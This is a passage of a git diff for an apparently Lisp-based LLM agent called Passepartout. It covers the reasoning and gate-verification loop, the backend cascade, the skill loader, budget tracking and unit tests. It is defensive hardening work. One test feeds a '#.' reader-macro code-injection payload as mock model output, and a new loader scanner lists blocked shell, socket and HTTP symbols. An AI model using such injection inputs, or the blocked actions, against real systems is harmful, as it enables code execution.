(let ((passed-result (copy-tree current-action)))
(setf (getf passed-result :gate-trace) (nreverse gate-trace))
passed-result))))
(defun loop-gate-reason (signal)
(let* ((type (proto-get signal :type))
(payload (proto-get signal :payload))
(sensor (proto-get payload :sensor)))
(unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message)))
(return-from loop-gate-reason signal))
(let ((retries 3)
(current-signal (copy-tree signal))
(last-rejection nil))
(loop
(when (<= retries 0)
(setf (getf signal :approved-action) last-rejection)
(setf (getf signal :status) :reasoned)
(return signal))
(when last-rejection
(setf (getf (getf current-signal :payload) :rejection-trace) last-rejection))
(let ((candidate (think current-signal)))
(if (and candidate (listp candidate))
(let ((verified (cognitive-verify candidate current-signal)))
;; Approval-required is not a rejection — pass to act for Flight Plan
(if (eq (getf verified :level) :approval-required)
(progn
(setf (getf signal :approved-action) verified)
(setf (getf signal :status) :requires-approval)
(return signal))
;; Hard rejection: retry with feedback
(if (member (getf verified :type) '(:LOG :EVENT))
(progn (decf retries) (setf last-rejection verified))
(progn
(setf (getf signal :approved-action) verified)
(setf (getf signal :status) :reasoned)
(return signal)))))
(progn
(setf (getf signal :approved-action) nil)
(setf (getf signal :status) :reasoned)
(return signal))))))))
(defun reason-gate (signal)
(loop-gate-reason signal))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -399,8 +91,8 @@ sorted by priority (highest first). Returns a rejection plist or the action."
(test test-backend-cascade-with-mock
"Contract 4: backend-cascade-call returns content from first successful backend."
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal)))
(setf (gethash :mock-backend passepartout::*backend-registry*)
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
(setf (gethash :mock-backend passepartout::*probabilistic-backends*)
(lambda (prompt sp &key model)
(declare (ignore prompt sp model))
(list :status :success :content "mock-response")))
@@ -409,9 +101,9 @@ sorted by priority (highest first). Returns a rejection plist or the action."
(test test-read-eval-rce-blocked
"Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
(passepartout::*provider-cascade* '(:mock-evil)))
(setf (gethash :mock-evil passepartout::*backend-registry*)
(setf (gethash :mock-evil passepartout::*probabilistic-backends*)
(lambda (prompt sp &key model)
(declare (ignore prompt sp model))
(list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
@@ -479,7 +171,7 @@ sorted by priority (highest first). Returns a rejection plist or the action."
(let ((passepartout::*memory-snapshots* nil)
(passepartout::*memory-store* (make-hash-table :test 'equal)))
(setf (gethash "pre" passepartout::*memory-store*) "value")
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
(passepartout::*provider-cascade* nil))
(handler-case
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
@@ -487,3 +179,330 @@ sorted by priority (highest first). Returns a rejection plist or the action."
(declare (ignore result)))
(error (c) (format nil "Expected: ~a" c)))
(is (>= (length passepartout::*memory-snapshots*) 0)))))
(in-package :passepartout)
(defvar *probabilistic-backends* (make-hash-table :test 'equal)
"Maps provider keyword → handler function (prompt system-prompt &key model).")
(defun register-probabilistic-backend (name fn)
"Register FN as the handler for provider NAME."
(setf (gethash name *probabilistic-backends*) fn))
(defvar *provider-cascade* nil)
(defvar *model-selector* nil)
(defvar *consensus-enabled* nil)
(defun backend-cascade-call (prompt &key
(system-prompt "You are the Probabilistic engine.")
(cascade nil)
(context nil)
tools)
(let ((backends (or cascade *provider-cascade*))
(result nil))
(dolist (backend backends (or result
(list :type :LOG
:payload (list :text "Neural Cascade Failure: All providers exhausted."))))
(let ((backend-fn (gethash backend *probabilistic-backends*)))
(when backend-fn
(log-message "PROBABILISTIC: Attempting backend ~a..." backend)
(let* ((model (and *model-selector*
(funcall *model-selector* backend context)))
(skip (eq model :skip))
(r (unless skip
(apply backend-fn
(append (list prompt system-prompt :model model)
(when tools (list :tools tools)))))))
(when skip
(log-message "PROBABILISTIC: Skipping ~a (filtered)" backend))
(cond ((and (listp r) (eq (getf r :status) :success))
(let ((tool-calls (getf r :tool-calls)))
(if tool-calls
(return (list :status :success :tool-calls tool-calls))
(progn
(setf result (getf r :content))
(return result)))))
((stringp r)
(setf result r)
(return result))
(t
(log-message "PROBABILISTIC: Backend ~a failed: ~a"
backend (getf r :message))))))))))
(defun markdown-strip (text)
(if (and text (stringp text))
(let ((cleaned text))
(setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned ""))
(setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned ""))
(setf cleaned (cl-ppcre:regex-replace-all "```" cleaned ""))
(string-trim '(#\Space #\Newline #\Tab) cleaned))
text))
(defun plist-keywords-normalize (plist)
(when (listp plist)
(loop for (k v) on plist by #'cddr
collect (if (and (symbolp k) (not (keywordp k)))
(intern (string k) :keyword)
k)
collect v)))
;; v0.7.2: live config section for system prompt
(defun assemble-config-section ()
"Build the CONFIG section of the system prompt from live state."
(let ((provider-names "")
(context-window (if (and (boundp '*tokenizer-provider*) (fboundp 'tokenizer-context-limit))
(tokenizer-context-limit (symbol-value '*tokenizer-provider*))
8192))
(gate-count 10)
(rules-count 0))
(when (boundp '*provider-cascade*)
(setf provider-names
(format nil "~{~a~^, ~}"
(mapcar (lambda (p)
(handler-case (or (getf p :model) (getf p :provider) "")
(error () (princ-to-string p))))
(symbol-value '*provider-cascade*)))))
(when (boundp '*hitl-pending*)
(setf rules-count (hash-table-count (symbol-value '*hitl-pending*))))
(format nil "CONFIG: You are Passepartout v0.7.2. Provider: ~a. Context: ~d tokens. Security gates: ~d active. Rules learned: ~d. Documentation: USER_MANUAL.org."
(if (string= provider-names "") "default" provider-names)
context-window gate-count rules-count)))
(defun think-assemble-prompt (context)
"Phase 2-3 of the metabolic cycle: context + system prompt assembly.
Returns three values: system-prompt, raw-prompt, reply-stream."
(let* ((sensor (proto-get (proto-get context :payload) :sensor))
(active-skill (find-triggered-skill context))
(tool-belt (generate-tool-belt-prompt))
(reply-stream (proto-get context :reply-stream))
(global-context (if (fboundp 'context-assemble-cached)
(context-assemble-cached context sensor)
(if (fboundp 'context-assemble-global-awareness)
(context-assemble-global-awareness)
"[Awareness skill not loaded]")))
(system-logs (if (fboundp 'context-get-system-logs)
(context-get-system-logs)
"[No system logs available]"))
(assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent"))
(rejection-trace (proto-get (proto-get context :payload) :rejection-trace))
(prompt-generator (when active-skill (skill-probabilistic-prompt active-skill)))
(raw-prompt (if prompt-generator
(funcall prompt-generator context)
(let ((p (proto-get (proto-get context :payload) :text)))
(if (and p (stringp p)) p "Maintain metabolic stasis."))))
(reflection-feedback (if rejection-trace
(format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
""))
(standing-mandates-text (let ((out ""))
(dolist (fn *standing-mandates*)
(let ((text (ignore-errors (funcall fn context))))
(when (and text (stringp text) (> (length text) 0))
(setf out (concatenate 'string out text (string #\Newline))))))
(when (> (length out) 0) out)))
(identity-content (if (fboundp 'agent-identity)
(agent-identity)
""))
(config-section (if (fboundp 'assemble-config-section)
(assemble-config-section)
""))
(time-section (if (fboundp 'sensor-time-duration)
(format-time-for-llm
:session-duration-seconds (funcall (symbol-function 'session-duration)))
(if (fboundp 'format-time-for-llm)
(format-time-for-llm)
"")))
(system-prompt (if (fboundp 'prompt-prefix-cached)
(let* ((prefix (prompt-prefix-cached assistant-name identity-content
reflection-feedback
standing-mandates-text tool-belt)))
(if (fboundp 'enforce-token-budget)
(multiple-value-bind (pfx ctxt logs _ mandates)
(enforce-token-budget prefix global-context system-logs
raw-prompt standing-mandates-text)
(declare (ignore _))
(setf standing-mandates-text mandates)
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section pfx (or ctxt "") logs))
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section prefix (or global-context "") system-logs)))
(format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section
assistant-name identity-content reflection-feedback
(if standing-mandates-text
(concatenate 'string (string #\Newline) standing-mandates-text)
"")
tool-belt (or global-context "") system-logs))))
(values system-prompt raw-prompt reply-stream)))
(defun think-call-llm (raw-prompt system-prompt reply-stream context)
"Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade.
Returns the raw LLM response (string or plist with :tool-calls)."
;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted
(when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p))
(return-from think-call-llm (budget-exhaustion-message)))
(if (and reply-stream (fboundp 'cascade-stream))
(let ((acc (make-string-output-stream)))
(funcall 'cascade-stream raw-prompt system-prompt
(lambda (delta)
(when reply-stream
(format reply-stream "~a"
(frame-message (list :type :stream-chunk
:payload (list :text delta))))
(finish-output reply-stream))
(write-string delta acc)))
(get-output-stream-string acc))
(backend-cascade-call raw-prompt
:system-prompt system-prompt
:context context)))
(defun think-parse-response (thought)
"Phases 5-7 of the metabolic cycle: cost tracking + response parsing.
Returns an action plist ready for cognitive-verify."
(let ((tool-calls (and (listp thought) (getf thought :tool-calls))))
(when (and (fboundp 'cost-track-backend-call)
(stringp thought)
(or (null tool-calls)))
(ignore-errors
(cost-track-backend-call (first *provider-cascade*)
thought)))
(if tool-calls
(let* ((first-call (car tool-calls))
(tool-name (getf first-call :name))
(args (getf first-call :arguments))
(args-plist (json-alist-to-plist args)))
(list :TYPE :REQUEST
:PAYLOAD (list* :TOOL tool-name
:ARGS args-plist
:EXPLANATION "Generated by function-calling engine.")))
(let* ((cleaned (if (and (listp thought) (getf thought :type))
(format nil "~a" (getf (getf thought :payload) :text))
(markdown-strip thought))))
(if (and cleaned (stringp cleaned) (> (length cleaned) 0)
(or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
(handler-case
(let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
(if (listp parsed)
(let ((normalized (plist-keywords-normalize parsed)))
(let ((payload (proto-get normalized :payload)))
(if (and payload (proto-get payload :explanation))
normalized
(let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
(if (listp payload) payload nil))))
(list* :PAYLOAD new-payload
(loop for (k v) on normalized by #'cddr
unless (eq k :PAYLOAD)
collect k collect v))))))
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE :TEXT cleaned
:EXPLANATION "Generated by the Probabilistic engine."))))
(error ()
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE :TEXT cleaned
:EXPLANATION "Generated by the Probabilistic engine."))))
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE
:TEXT (if (stringp cleaned) cleaned "No response")
:EXPLANATION "Generated by the Probabilistic engine.")))))))
(defun think (context)
"The probabilistic reasoning engine — orchestrates prompt assembly, LLM call,
and response parsing into an action plist for cognitive-verify."
(when (fboundp 'snapshot-memory)
(snapshot-memory))
(multiple-value-bind (system-prompt raw-prompt reply-stream)
(think-assemble-prompt context)
(let ((thought (think-call-llm raw-prompt system-prompt reply-stream context)))
(think-parse-response thought))))
(defun json-alist-to-plist (alist)
"Convert a JSON alist to a keyword-prefixed plist."
(when (listp alist)
(loop for (key . value) in alist
append (list (intern (string-upcase (string key)) :keyword)
(if (listp value)
(if (consp (car value))
(json-alist-to-plist value)
value)
value)))))
(defun cognitive-verify (proposed-action context)
"Runs all registered deterministic gates against the proposed action,
sorted by priority (highest first). Returns a rejection plist or the action."
(let ((current-action (copy-tree proposed-action))
(approval-needed nil)
(approval-action nil)
(gates nil)
(gate-trace nil))
;; Collect gates sorted by priority (highest first)
(maphash (lambda (name skill)
(declare (ignore name))
(when (skill-deterministic-fn skill)
(push (cons (skill-priority skill) (cons (skill-name skill) (skill-deterministic-fn skill))) gates)))
*skill-registry*)
(setf gates (sort gates #'> :key #'car))
(dolist (gate-entry gates)
(let* ((gate-name (cadr gate-entry))
(result (funcall (cddr gate-entry) current-action context)))
(cond
((eq (getf result :level) :approval-required)
(push (list :gate (or gate-name (car gate-entry)) :result :approval) gate-trace)
(setf approval-needed t
approval-action (getf (getf result :payload) :action)))
((member (getf result :type) '(:LOG :EVENT))
(push (list :gate (or gate-name (car gate-entry)) :result :blocked) gate-trace)
(let ((blocked-result (copy-list result)))
(setf (getf blocked-result :gate-trace) (nreverse gate-trace))
(return-from cognitive-verify blocked-result)))
((and (listp result) result)
(push (list :gate (or gate-name (car gate-entry)) :result :passed) gate-trace)
(setf current-action result)))))
(if approval-needed
(list :type :EVENT :level :approval-required
:gate-trace (nreverse gate-trace)
:payload (list :sensor :approval-required
:action approval-action))
(let ((passed-result (copy-tree current-action)))
(setf (getf passed-result :gate-trace) (nreverse gate-trace))
passed-result))))
(defun loop-gate-reason (signal)
(let* ((type (proto-get signal :type))
(payload (proto-get signal :payload))
(sensor (proto-get payload :sensor)))
(unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message)))
(return-from loop-gate-reason signal))
(let ((retries 3)
(current-signal (copy-tree signal))
(last-rejection nil))
(loop
(when (<= retries 0)
(setf (getf signal :approved-action) last-rejection)
(setf (getf signal :status) :reasoned)
(return signal))
(when last-rejection
(setf (getf (getf current-signal :payload) :rejection-trace) last-rejection))
(let ((candidate (think current-signal)))
(if (and candidate (listp candidate))
(let ((verified (cognitive-verify candidate current-signal)))
;; Approval-required is not a rejection — pass to act for Flight Plan
(if (eq (getf verified :level) :approval-required)
(progn
(setf (getf signal :approved-action) verified)
(setf (getf signal :status) :requires-approval)
(return signal))
;; Hard rejection: retry with feedback
(if (member (getf verified :type) '(:LOG :EVENT))
(progn (decf retries) (setf last-rejection verified))
(progn
(setf (getf signal :approved-action) verified)
(setf (getf signal :status) :reasoned)
(return signal)))))
(progn
(setf (getf signal :approved-action) nil)
(setf (getf signal :status) :reasoned)
(return signal))))))))
(defun reason-gate (signal)
(loop-gate-reason signal))

106
lisp/core-skills.lisp
View File

@@ -1,3 +1,38 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-boot-tests
(:use :cl :fiveam :passepartout)
(:export #:boot-suite))
(in-package :passepartout-boot-tests)
(def-suite boot-suite :description "Verification of the Skill Engine loader")
(in-suite boot-suite)
(test test-topological-sort-basic
"Contract 2: dependency ordering puts dependencies before dependents."
(let ((tmp-dir "/tmp/passepartout-boot-test/"))
(uiop:ensure-all-directories-exist (list tmp-dir))
(with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
(format out "#+DEPENDS_ON: skill-b-id~%"))
(with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
(format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
(unwind-protect
(let ((sorted (passepartout::skill-topological-sort tmp-dir)))
(let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
(pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
(is (< pos-b pos-a))))
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
(test test-lisp-syntax-validate-valid
"Contract 1: valid Lisp code passes syntax validation."
(is (eq t (lisp-syntax-validate "(+ 1 2)"))))
(test test-lisp-syntax-validate-invalid
"Contract 1: unbalanced Lisp code fails syntax validation."
(is (null (lisp-syntax-validate "(+ 1 2"))))
(in-package :passepartout)
(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
@@ -15,8 +50,6 @@
(defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn)
(defvar *skill-registry* (make-hash-table :test 'equal))
(defvar *skill-catalog* (make-hash-table :test 'equal)
"Tracks all discovered skill files and their loading state.")
@@ -205,6 +238,14 @@ declarations so embedded test code evaluates in the correct package."
(progn
(multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code)
(unless valid-p (error err)))
;; Pre-eval sandbox scan: block before any code executes
(multiple-value-bind (blocked-p blocked-syms)
(skill-source-scan lisp-code)
(when blocked-p
(log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
skill-base-name blocked-syms)
(setf (skill-entry-status entry) :sandbox-blocked)
(return-from load-skill-from-org nil)))
(unless (find-package pkg-name)
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
(let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -233,6 +274,24 @@ declarations so embedded test code evaluates in the correct package."
(log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
(setf (skill-entry-status entry) :failed) nil))))
(defvar *skill-restricted-symbols*
'("uiop:run-program" "uiop:shell" "uiop:run-shell-command"
"bt:make-thread" "bordeaux-threads:make-thread"
"dex:get" "dex:post" "dexador:get" "dexador:post"
"usocket:socket-connect" "usocket:socket-listen"
"hunchentoot:start" "hunchentoot:accept-connections")
"Symbol patterns blocked from skill source code at load time.")
(defun skill-source-scan (code-string)
"Scans CODE-STRING for restricted symbol references.
Returns (values blocked-p matched-symbols)."
(let ((lower (string-downcase code-string))
(matches nil))
(dolist (pattern *skill-restricted-symbols*)
(when (search pattern lower)
(push pattern matches)))
(values (and matches t) (nreverse matches))))
(defun load-skill-from-lisp (filepath)
"Loads a .lisp skill file directly, filtering out in-package forms."
(let* ((skill-base-name (pathname-name filepath))
@@ -243,6 +302,14 @@ declarations so embedded test code evaluates in the correct package."
(pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
(multiple-value-bind (valid-p err) (lisp-syntax-validate content)
(unless valid-p (error err)))
;; Pre-eval sandbox scan: block before any code executes
(multiple-value-bind (blocked-p blocked-syms)
(skill-source-scan content)
(when blocked-p
(log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
skill-base-name blocked-syms)
(setf (skill-entry-status entry) :sandbox-blocked)
(return-from load-skill-from-lisp nil)))
(unless (find-package pkg-name)
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
(let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -300,38 +367,3 @@ declarations so embedded test code evaluates in the correct package."
(load-skill-from-lisp file)
(load-skill-from-org file)))
(log-message "LOADER: Boot Complete."))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-boot-tests
(:use :cl :fiveam :passepartout)
(:export #:boot-suite))
(in-package :passepartout-boot-tests)
(def-suite boot-suite :description "Verification of the Skill Engine loader")
(in-suite boot-suite)
(test test-topological-sort-basic
"Contract 2: dependency ordering puts dependencies before dependents."
(let ((tmp-dir "/tmp/passepartout-boot-test/"))
(uiop:ensure-all-directories-exist (list tmp-dir))
(with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
(format out "#+DEPENDS_ON: skill-b-id~%"))
(with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
(format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
(unwind-protect
(let ((sorted (passepartout::skill-topological-sort tmp-dir)))
(let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
(pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
(is (< pos-b pos-a))))
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
(test test-lisp-syntax-validate-valid
"Contract 1: valid Lisp code passes syntax validation."
(is (eq t (lisp-syntax-validate "(+ 1 2)"))))
(test test-lisp-syntax-validate-invalid
"Contract 1: unbalanced Lisp code fails syntax validation."
(is (null (lisp-syntax-validate "(+ 1 2"))))

90
lisp/core-transport.lisp
View File

@@ -1,3 +1,46 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-communication-tests
(:use :cl :fiveam :passepartout)
(:export #:communication-protocol-suite))
(in-package :passepartout-communication-tests)
(def-suite communication-protocol-suite :description "Communication Protocol Suite")
(in-suite communication-protocol-suite)
(test test-framing
"Contract 1: frame-message produces correct hex length prefix."
(let* ((msg '(:type :EVENT :payload (:action :handshake)))
(framed (frame-message msg)))
(is (string= "00002C" (string-upcase (subseq framed 0 6))))))
(test test-framing-round-trip
"Contract 3: frame → read-frame preserves message identity."
(let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
(framed (frame-message msg))
(unframed (read-framed-message (make-string-input-stream framed))))
(is (equal msg unframed))))
(test test-framing-empty-message
"Contract 1: simple messages frame with valid hex length."
(let* ((msg '(:type :ping))
(framed (frame-message msg)))
(is (> (length framed) 5))
(is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
(test test-read-framed-message
"Contract 2: read-framed-message decodes a framed message correctly."
(let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
(framed (frame-message original))
(decoded (read-framed-message (make-string-input-stream framed))))
(is (equal original decoded))))
(test test-read-framed-message-eof
"Contract 2: read-framed-message returns :eof on incomplete stream."
(let ((decoded (read-framed-message (make-string-input-stream "000"))))
(is (eq :eof decoded))))
(in-package :passepartout)
(defun proto-get (plist key)
@@ -40,7 +83,9 @@
(handler-case
(progn
(loop for char = (peek-char nil stream nil :eof)
while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return)))
for ws-count from 0
while (and (not (eq char :eof)) (< ws-count 4096)
(member char '(#\Space #\Newline #\Tab #\Return)))
do (read-char stream))
(let ((count (read-sequence length-buffer stream)))
(if (< count 6)
@@ -116,46 +161,3 @@
(defun validate-communication-protocol-schema (msg)
"Backward-compatibility alias for protocol-schema-validate."
(protocol-schema-validate msg))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-communication-tests
(:use :cl :fiveam :passepartout)
(:export #:communication-protocol-suite))
(in-package :passepartout-communication-tests)
(def-suite communication-protocol-suite :description "Communication Protocol Suite")
(in-suite communication-protocol-suite)
(test test-framing
"Contract 1: frame-message produces correct hex length prefix."
(let* ((msg '(:type :EVENT :payload (:action :handshake)))
(framed (frame-message msg)))
(is (string= "00002C" (string-upcase (subseq framed 0 6))))))
(test test-framing-round-trip
"Contract 3: frame → read-frame preserves message identity."
(let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
(framed (frame-message msg))
(unframed (read-framed-message (make-string-input-stream framed))))
(is (equal msg unframed))))
(test test-framing-empty-message
"Contract 1: simple messages frame with valid hex length."
(let* ((msg '(:type :ping))
(framed (frame-message msg)))
(is (> (length framed) 5))
(is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
(test test-read-framed-message
"Contract 2: read-framed-message decodes a framed message correctly."
(let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
(framed (frame-message original))
(decoded (read-framed-message (make-string-input-stream framed))))
(is (equal original decoded))))
(test test-read-framed-message-eof
"Contract 2: read-framed-message returns :eof on incomplete stream."
(let ((decoded (read-framed-message (make-string-input-stream "000"))))
(is (eq :eof decoded))))

170
lisp/cost-tracker.lisp
View File

@@ -1,3 +1,76 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-cost-tests
(:use :cl :fiveam :passepartout)
(:export #:cost-suite))
(in-package :passepartout-cost-tests)
(def-suite cost-suite :description "Cost tracking and budget management")
(in-suite cost-suite)
(test test-cost-track-call
"Contract 1: cost-track-call returns a positive number."
(cost-session-reset)
(let ((cost (cost-track-call :deepseek "hello world")))
(is (numberp cost))
(is (> cost 0.0))))
(test test-cost-session-total-accumulates
"Contract 2: session total grows with multiple calls."
(cost-session-reset)
(cost-track-call :deepseek "hello")
(cost-track-call :deepseek "world")
(let ((total (cost-session-total)))
(is (> total 0.0))
(is (= 2 (cost-session-calls)))))
(test test-cost-session-reset
"Contract 3: cost-session-reset zeroes the accumulator."
(cost-session-reset)
(cost-track-call :deepseek "hello")
(is (> (cost-session-total) 0.0))
(cost-session-reset)
(is (= 0.0 (cost-session-total)))
(is (= 0 (cost-session-calls))))
(test test-cost-format-budget-status
"Contract 4: format-budget-status returns a string."
(cost-session-reset)
(cost-track-call :deepseek "hello world")
(let ((status (cost-format-budget-status 100)))
(is (stringp status))
(is (search "$" status))))
(test test-cost-by-provider
"Contract: cost-by-provider returns per-provider breakdown."
(cost-session-reset)
(cost-track-call :deepseek "a")
(cost-track-call :groq "b")
(let ((by (cost-by-provider)))
(is (listp by))
(is (assoc :deepseek by))
(is (assoc :groq by))))
(test test-cost-track-no-response
"Contract 1: cost-track-call works without response-text."
(cost-session-reset)
(let ((cost (cost-track-call :deepseek "test")))
(is (> cost 0.0))))
(test test-cost-session-summary
"Contract 5: cost-session-summary returns plist with total, calls, by-provider."
(cost-session-reset)
(cost-track-call :deepseek "hello")
(cost-track-call :groq "world")
(let ((s (cost-session-summary)))
(is (> (getf s :total) 0.0))
(is (= 2 (getf s :calls)))
(let ((by (getf s :by-provider)))
(is (assoc :deepseek by))
(is (assoc :groq by)))))
(in-package :passepartout)
(defvar *session-cost* (list :total 0.0 :calls 0 :by-provider nil)
@@ -82,75 +155,36 @@ If DAILY-BUDGET is provided, includes percentage of budget used."
"Track cost of a backend cascade call."
(cost-track-call backend prompt-text response-text))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defvar *session-budget*
(ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD")))
"Maximum USD to spend in this session. NIL means no limit.")
(defpackage :passepartout-cost-tests
(:use :cl :fiveam :passepartout)
(:export #:cost-suite))
(defun budget-remaining-usd ()
"Returns remaining budget in USD, or a large sentinel if unlimited."
(if *session-budget*
(let ((remaining (- *session-budget* (cost-session-total))))
(if (< remaining 0) 0.0 remaining))
most-positive-double-float))
(in-package :passepartout-cost-tests)
(defun budget-exhausted-p ()
"T if the session budget is set and fully consumed."
(and *session-budget* (<= (budget-remaining-usd) 0.0)))
(def-suite cost-suite :description "Cost tracking and budget management")
(in-suite cost-suite)
(defun budget-estimate-call (prompt-text)
"Estimate the dollar cost of a pending LLM call from its prompt text.
Returns 0.0 if the tokenizer is not loaded (allows call through)."
(if (fboundp 'count-tokens)
(let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
(cost (provider-token-cost (first *provider-cascade*) tokens)))
cost)
0.0))
(test test-cost-track-call
"Contract 1: cost-track-call returns a positive number."
(cost-session-reset)
(let ((cost (cost-track-call :deepseek "hello world")))
(is (numberp cost))
(is (> cost 0.0))))
(test test-cost-session-total-accumulates
"Contract 2: session total grows with multiple calls."
(cost-session-reset)
(cost-track-call :deepseek "hello")
(cost-track-call :deepseek "world")
(let ((total (cost-session-total)))
(is (> total 0.0))
(is (= 2 (cost-session-calls)))))
(test test-cost-session-reset
"Contract 3: cost-session-reset zeroes the accumulator."
(cost-session-reset)
(cost-track-call :deepseek "hello")
(is (> (cost-session-total) 0.0))
(cost-session-reset)
(is (= 0.0 (cost-session-total)))
(is (= 0 (cost-session-calls))))
(test test-cost-format-budget-status
"Contract 4: format-budget-status returns a string."
(cost-session-reset)
(cost-track-call :deepseek "hello world")
(let ((status (cost-format-budget-status 100)))
(is (stringp status))
(is (search "$" status))))
(test test-cost-by-provider
"Contract: cost-by-provider returns per-provider breakdown."
(cost-session-reset)
(cost-track-call :deepseek "a")
(cost-track-call :groq "b")
(let ((by (cost-by-provider)))
(is (listp by))
(is (assoc :deepseek by))
(is (assoc :groq by))))
(test test-cost-track-no-response
"Contract 1: cost-track-call works without response-text."
(cost-session-reset)
(let ((cost (cost-track-call :deepseek "test")))
(is (> cost 0.0))))
(test test-cost-session-summary
"Contract 5: cost-session-summary returns plist with total, calls, by-provider."
(cost-session-reset)
(cost-track-call :deepseek "hello")
(cost-track-call :groq "world")
(let ((s (cost-session-summary)))
(is (> (getf s :total) 0.0))
(is (= 2 (getf s :calls)))
(let ((by (getf s :by-provider)))
(is (assoc :deepseek by))
(is (assoc :groq by)))))
(defun budget-exhaustion-message ()
"Returns a user-facing plist explaining that the budget is spent."
(let ((total (cost-session-total))
(cap *session-budget*))
(list :TYPE :REQUEST
:PAYLOAD (list :ACTION :MESSAGE
:TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue."
total cap)
:EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised."))))

112
lisp/neuro-provider.lisp
View File

@@ -1,3 +1,59 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-llm-gateway-tests
(:use :cl :passepartout)
(:export #:llm-gateway-suite))
(in-package :passepartout-llm-gateway-tests)
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
(fiveam:in-suite llm-gateway-suite)
(fiveam:test test-provider-rejects-bad-keyword
"Contract 3: provider-config returns nil for unregistered provider."
(let ((config (provider-config :not-a-real-provider)))
(fiveam:is (null config))))
(fiveam:test test-provider-config-registered
"Contract 1: provider-config returns configuration plist for registered provider."
(let ((config (provider-config :openrouter)))
(fiveam:is (listp config))
(fiveam:is (getf config :base-url))))
(fiveam:test test-provider-accepts-tools-parameter
"Contract 4: provider-openai-request accepts :tools parameter without error."
